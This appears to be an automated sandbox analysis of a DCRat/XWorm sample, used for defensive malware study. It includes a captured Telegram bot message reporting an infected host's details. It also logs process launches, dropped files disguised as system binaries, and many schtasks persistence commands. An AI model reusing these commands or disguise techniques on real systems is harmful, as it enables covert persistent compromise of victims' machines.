2024-03-29 14:27:01 UTC	1643	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 29 Mar 2024 14:27:01 GMT Content-Type: application/json Content-Length: 1254 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":373,"from":{"id":7194985122,"is_bot":true,"first_name":"iueidsobot","username":"iueidsobot"},"chat":{"id":6770966847,"first_name":"Stm","username":"cunuid","type":"private"},"date":1711722421,"photo":[{"file_id":"AgACAgIAAxkDAAIBdWYGz7WIYLJ8M3mirhqVe33O9ht8AAJd2jEbd_c4SHz7qxptfzH9AQADAgADcwADNAQ","file_unique_id":"AQADXdoxG3f3OEh4","file_size":1172,"width":90,"height":72},{"file_id":"AgACAgIAAxkDAAIBdWYGz7WIYLJ8M3mirhqVe33O9ht8AAJd2jEbd_c4SHz7qxptfzH9AQADAgADbQADNAQ","file_unique_id":"AQADXdoxG3f3OEhy","file_size":15924,"width":320,"height":256},{"file_id":"AgACAgIAAxkDAAIBdWYGz7WIYLJ8M3mirhqVe33O9ht8AAJd2jEbd_c4SHz7qxptfzH9AQADAgADeAADNAQ","file_unique_id":"AQADXdoxG3f3OEh9","file_size":66524,"width":800,"height":640},{"file_id":"AgACAgIAAxkDAAIBdWYGz7WIYLJ8M3mirhqVe33O9ht8AAJd2jEbd_c4SHz7qxptfzH9AQADAgADeQADNAQ","file_unique_id":"AQADXdoxG3f3OEh-","file_size":97969,"width":1280,"height":1024}],"caption":"\u0418\u041a\u0421\u0412\u041e\u0420\u041c \u0421\u041a\u0410\u0427\u0410\u041b \u0418\u0414\u0418\u041e\u0422 !\nID: a01383625cb44be503d281ec40523be6dc0b80cf\nComment: xworm\nUsername: user\nPC Name: 642294\nIP: 102.165.48.43\nGEO: US","caption_entities":[{"offset":119,"length":13,"type":"url"}]}}

Target ID:	0
Start time:	15:26:48
Start date:	29/03/2024
Path:	C:\Users\user\Desktop\H9gMIu2HXi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H9gMIu2HXi.exe"
Imagebase:	0xa20000
File size:	1'811'992 bytes
MD5 hash:	4FB1D8F8DFF638F2C9B382F9552B18E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:26:49
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:26:49
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:26:49
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe
Wow64 process (32bit):	true
Commandline:	work.exe -priverdD
Imagebase:	0x310000
File size:	1'481'861 bytes
MD5 hash:	E0A16200BD098799073FCB05E9D31300
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000003.00000003.1620690565.0000000004F96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 14%, ReversingLabs Detection: 20%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:26:49
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe"
Imagebase:	0x720000
File size:	1'154'243 bytes
MD5 hash:	1C051E7154F24C6BEA5788CBE9DCB478
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000003.1624273489.0000000006FB2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000003.1624823463.0000000004F0D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000003.1623801206.00000000066A6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 65%, ReversingLabs Detection: 58%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:26:50
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe"
Imagebase:	0xb90000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:26:53
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\msBroker\2lT5LH2HofMC1aCPgzVrsLj8Fs1JHh.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:26:53
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:26:53
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe"
Imagebase:	0xbc0000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000008.00000000.1663208372.0000000000BC2000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline"
Imagebase:	0x7ff623200000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
Imagebase:	0x5d0000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
Imagebase:	0x380000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:26:55
Start date:	29/03/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41D7.tmp" "c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP"
Imagebase:	0x7ff7c4b80000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\winlogon.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Recovery\winlogon.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 12 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SurrogatewebSession" /sc ONLOGON /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:26:56
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 8 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:26:57
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Imagebase:	0xa80000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:26:57
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Imagebase:	0x890000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:26:57
Start date:	29/03/2024
Path:	C:\Recovery\winlogon.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\winlogon.exe
Imagebase:	0x9f0000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Recovery\winlogon.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:26:57
Start date:	29/03/2024
Path:	C:\Recovery\winlogon.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\winlogon.exe
Imagebase:	0x550000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:27:00
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat"
Imagebase:	0x7ff6ccd10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:27:00
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	15:27:00
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff7a57d0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:27:00
Start date:	29/03/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff7f4a60000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:27:05
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
Imagebase:	0x6b0000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:27:09
Start date:	29/03/2024
Path:	C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe"
Imagebase:	0xd90000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:27:17
Start date:	29/03/2024
Path:	C:\Recovery\winlogon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\winlogon.exe"
Imagebase:	0x230000
File size:	832'512 bytes
MD5 hash:	1F994BA149832A45EBEDCE2D36A2CA21
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:27:18
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c "C:\Recovery\winlogon.exe"
Imagebase:	0x7ff6ccd10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	15:27:18
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1635
Total number of Limit Nodes:	58

Executed Functions

Function 00A3F05C Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 202
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A31B83: GetModuleHandleW.KERNEL32(kernel32), ref: 00A31B9C
Part of subcall function 00A31B83: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00A31BAE
Part of subcall function 00A31B83: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00A31BDF

Part of subcall function 00A3B65D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00A3B665

Part of subcall function 00A3BD1B: OleInitialize.OLE32(00000000), ref: 00A3BD34
Part of subcall function 00A3BD1B: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00A3BD6B
Part of subcall function 00A3BD1B: SHGetMalloc.SHELL32(00A6A460), ref: 00A3BD75

GetCommandLineW.KERNEL32 ref: 00A3F09B
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00A3F0C5
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007402), ref: 00A3F0D6
UnmapViewOfFile.KERNEL32(00000000), ref: 00A3F127

Part of subcall function 00A3ED2E: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00A3ED44
Part of subcall function 00A3ED2E: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00A3ED80

Part of subcall function 00A30752: _wcslen.LIBCMT ref: 00A30776

CloseHandle.KERNEL32(00000000), ref: 00A3F12E
GetModuleFileNameW.KERNEL32(00000000,00A80CC0,00000800), ref: 00A3F148
SetEnvironmentVariableW.KERNEL32(sfxname,00A80CC0), ref: 00A3F154
GetLocalTime.KERNEL32(?), ref: 00A3F15F
_swprintf.LIBCMT ref: 00A3F19E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00A3F1B3
GetModuleHandleW.KERNEL32(00000000), ref: 00A3F1BA
LoadIconW.USER32(00000000,00000064), ref: 00A3F1D1
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001C9D0,00000000), ref: 00A3F222
Sleep.KERNELBASE(?), ref: 00A3F250
